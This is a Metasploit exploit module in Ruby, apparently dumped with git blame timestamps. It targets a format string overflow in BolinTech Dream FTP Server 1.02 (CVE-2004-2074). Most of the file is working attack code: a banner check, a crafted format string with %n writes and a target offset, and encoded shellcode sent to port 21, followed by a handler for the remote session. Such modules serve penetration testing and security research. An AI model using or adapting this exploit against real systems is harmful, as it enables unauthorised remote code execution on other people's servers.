2007-09-09 22:44:40 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-09-09 22:44:40 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2007-09-09 22:44:40 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2007-09-09 22:44:40 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'BolinTech Dream FTP Server 1.02 Format String',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a format string overflow in the BolinTech
|
|
|
|
Dream FTP Server version 1.02. Based on the exploit by SkyLined.
|
|
|
|
},
|
|
|
|
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
|
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-2074'],
|
2007-09-10 01:46:45 +00:00
|
|
|
[ 'OSVDB', '4986'],
|
2009-05-13 17:39:42 +00:00
|
|
|
[ 'BID', '9800'],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/823'],
|
2007-09-09 22:44:40 +00:00
|
|
|
],
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2007-09-10 01:46:45 +00:00
|
|
|
# Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
|
2007-09-09 22:44:40 +00:00
|
|
|
[
|
|
|
|
'Dream FTP Server v1.02 Universal',
|
|
|
|
{
|
2007-09-10 01:46:45 +00:00
|
|
|
'Offset' => 3957680, # 0x3c63ff-0x4f
|
2007-09-09 22:44:40 +00:00
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 03 2004',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(21),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
banner = sock.get(-1,3)
|
|
|
|
disconnect
|
|
|
|
if (banner =~ /Dream FTP Server/)
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
sleep(0.25)
|
|
|
|
sploit = "\xeb\x29"
|
|
|
|
sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
|
|
|
|
sploit << "@@@@@@@@" + payload.encoded
|
|
|
|
sock.put(sploit + "\r\n")
|
|
|
|
sleep(0.25)
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|